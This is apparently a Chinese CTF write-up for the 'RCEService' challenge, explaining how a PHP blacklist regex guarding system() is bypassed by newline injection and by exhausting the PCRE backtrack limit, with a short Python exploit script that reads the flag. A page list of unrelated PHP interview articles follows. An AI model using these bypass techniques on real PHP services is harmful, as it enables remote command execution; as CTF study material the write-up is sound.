PHP试题之RCEService正则回溯解答

目录

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

以上就是PHP试题之RCEService正则回溯解答的详细内容,更多关于PHP试题RCEService正则回溯的资料请关注我们其它相关文章!

(0)

相关推荐

  • PHP的文件操作与算法实现的面试题示例

    操作文件 1.使用5种以上的方式获取一个文件的扩展名 要求: dir/upload.image.jpg, 找出.jpg或者jpg <?php /** * 五种方式获取指定路径的文件扩展名 */ $str = "dir/upload.image.jpg"; function one ($str) { $arr = explode('.', $str); $count = count($arr); return $arr[$count - 1]; } function two ($s

  • 8个PHP数组面试题

    网上找的PHP数组题,准备自己做一遍并且记录下来. 1.写函数创建长度为10的数组,数组中的元素为递增的奇数,首项为1. 复制代码 代码如下: <?php function arrsort($first,$length){ $arr = array();         for($i=$first;$i<=$length;$i++){ $arr[] = $i*2-1;         }         return $arr;     } $arr1 = arrsort(1,10);    

  • 几道坑人的PHP面试题 试试看看你会不会也中招

    这几道题是在德问上看到的,感觉挺有意思,拿来给大家分享其中的陷阱,看看你会不会掉入其中. 第一题 复制代码 代码如下: $arr = array(0=>1,"aa"=>2, 3, 4);   foreach($arr as $key=>$val){     print($key == "aa" ? 5 : $val); } 输出结果是多少?如果的答案是1534就掉入陷阱了. 先看看这个数组最终形成的结构: 复制代码 代码如下: Array (   

  • PHP isset empty函数相关面试题及解析

    用isset()和empty()判断下面的变量. $str = ''; $int = 0 ; $arr = array(); isset($str) 返回的是 true 还是 false empty($int) 返回什么 empty($arr)返回什么 答案: 分别是 true true true 解释: isset函数特性. 任何被赋值的变量,都会是isset状态. 当然NULL是特殊类型,$str = NULL; 使用isset($str) 则为false . $str = NULL; $s

  • 33道php常见面试题及答案

    1.在PHP中,当前脚本的名称(不包括路径和查询字符串)记录在预定义变量(1)中:而链接到当前页面的URL记录在预定义变量(2)中. 复制代码 代码如下: 答:echo $_SERVER['PHP_SELF']; echo $_SERVER["HTTP_REFERER"]; 2.执行程序段将输出(3). 复制代码 代码如下: 答:0 3.在HTTP 1.0中,状态码 401 的含义是(4):如果返回"找不到文件"的提示,则可用 header 函数,其语句为(5).

  • PHP中设置一个严格30分钟过期Session面试题的4种答案

    今天在我的微博上发出一个问题: 我在面试的时候, 经常会问一个问题: "如何设置一个30分钟过期的Session?", 大家不要觉得看似简单, 这里面包含的知识挺多, 特别适合考察基本功是否扎实, 谁来回答试试? 呵呵 为什么问这个问题呢? 1.我在stackoverflow上看到了有人讨论这个问题 2.想起来我经常问这个问题, 所以~~ 在这里, 我来解答下这个题目. 第一种回答 那么, 最常见的一种回答是: 设置Session的过期时间, 也就是session.gc_maxlife

  • php中大厂的面试题整理

    找工作遇到各种各样的面试已经屡见不鲜了,虽然出的内容是五花八门,但是基本上所有面试题还是基于最核心的思想,就是一些最基础的内容使用,只有根基深厚了,才可以在往上助苗成长,本章的核心内容,就是大家最关切的php面试中经常会遇到的问题,下面就为大家展示几个一定在面试中会碰到的问题. 1.服务提供者是什么? 服务提供者是所有 Laravel 应用程序引导启动的中心, Laravel 的核心服务器.注册服务容器绑定.事件监听.中间件.路由注册以及我们的应用程序都是由服务提供者引导启动的. 2.IoC 容

  • PHP试题之RCEService正则回溯解答

    目录 打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了 <?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json =

  • 基于curl数据采集之正则处理函数get_matches的使用

    根据前两篇的博文: 基于curl数据采集之单页面采集函数get_html的使用 基于curl数据采集之单页面并行采集函数get_htmls的使用 已经可以得到了我们需要的html文件,现在需要处理得到的文件获取到我们需要的采集的数据. 对于html文档的解析,没有像XML那样的解析类,因为HTML文档有很多不成对的标签,很不严格.这个时候就需要采用其他的一些辅助类了,simplehtmldom是一个类似于JQuery方式操作HTML文档的解析类.可以很方便的得到想要的数据,可惜速度慢.这里不是我

  • 深度分析正则(pcre)最大回溯/递归限制

    今天,Tank问了一个问题, 对于如下的正则: 复制代码 代码如下: /<script>.*?<\/script>/i 当要匹配的字符串长度大于100014的时候, 就不会得出正确结果: 复制代码 代码如下: $reg = "/<script>.*?<\/script>/is"; $str = "<script>********</script>"; //长度大于100014 $ret = pr

  • 深入解答关于Python的11道基本面试题

    前言 本文给大家深入的解答了关于Python的11道基本面试题,通过这些面试题大家能对python进一步的了解和学习,下面话不多说,来看看详细的介绍吧. 一.单引号,双引号,三引号的区别 分别阐述3种引号用的场景和区别 1),单引号和双引号主要用来表示字符串 比如: 单引号:'python' 双引号:"python" 2).三引号 三单引号:'''python ''',也可以表示字符串一般用来输入多行文本,或者用于大段的注释 三双引号:"""python&

  • 正则中的回溯定义与用法分析【JS与java实现】

    本文实例分析了正则中的回溯定义与用法.分享给大家供大家参考,具体如下: 关于"回溯"我也是第一次接触,对它也不算很了解.下面就把我所了解的做为一个心德记录下来,以备查看. 我们所使用的正则表达式的匹配基础大概分为:优先选择最左端(最靠开头)的匹配结果和标准的匹配量词(*.+.?和{m, n})是匹配优先的. "优先选择最左端的匹配"顾名思义就是从字符串的起始位置开始匹配直到匹配结束这是基础:"标准匹配量词"又分为"非确定型有穷自动机(N

  • python正则表达式面试题解答

    三道python正则表达式面试题,具体如下 1.去除以下html文件中的标签,只显示文本信息. <div> <p>岗位职责:</p> <p>完成推荐算法.数据统计.接口.后台等服务器端相关工作</p> <p><br></p> <p>必备要求:</p> <p>良好的自我驱动力和职业素养,工作积极主动.结果导向</p> <p> <br><

  • 解答“60k”大佬的19道C#面试题(下)

    在上篇中,我解析了前 10 道题目,本篇我将尝试解析后面剩下的所有题目. 姐妹篇:解析"60k"大佬的19道C#面试题(上) 这些题目确实不怎么经常使用,因此在后文中,我会提一组我的私房经典"6k面试题",供大家轻松一刻. 先略看题目: 11 简述 LINQ 的 lazy computation 机制 12 利用 SelectMany 实现两个数组中元素做笛卡尔集,然后一一相加 13 请为三元函数实现柯里化 14 请简述 ref struct 的作用 15 请简述

  • 解答“60k”大佬的19道C#面试题(上)

    先略看题目: 1  请简述async函数的编译方式 2  请简述Task状态机的实现和工作机制 3  请简述await的作用和原理,并说明和GetResult()有什么区别 4  Task和Thread有区别吗?如果有请简述区别 5  简述yield的作用 6  利用IEnumerable<T>实现斐波那契数列生成 7  简述stackless coroutine和stackful coroutine的区别,并指出C#的coroutine是哪一种 8  请简述SelectMany的作用 9 

  • 几个MySQL高频面试题的解答

    前言: 在各类技术岗位面试中,似乎 MySQL 相关问题经常被问到.无论你面试开发岗位或运维岗位,总会问几道数据库问题.经常有小伙伴私信我,询问如何应对 MySQL 面试题.其实很多面试题都是大同小异的,提前做准备还是很有必要的.本篇文章简单说下几个常见的面试题,一起来学习下吧. 1.什么是关系型数据库?谈谈你对 MySQL 的认识. 这是一道基础题,考察面试者对数据库的了解程度,一般可以简单讲下自己的认知,有条理即可.比如: 关系型数据库是指采用了关系模型来组织数据的数据库,其以行和列的形式存

  • python演示解答正则为什么是最强文本处理工具

    正则表达式,又称规则表达式.(英语:Regular Expression,在代码中常简写为regex.regexp或RE),计算机科学的一个概念.正则表达式通常被用来检索.替换那些符合某个模式(规则)的文本. Python作为一门数据处理语言,经常使用正则匹配段落,比如爬虫爬取数据时.正则表达式是Python内置的模块,不需要额外安装. 今天来给大家分享一份比较全面的Python正则表达式宝典,学会之后,你将掌握正则表达式的各种应用场景. re模块 re (Regular Expression简

随机推荐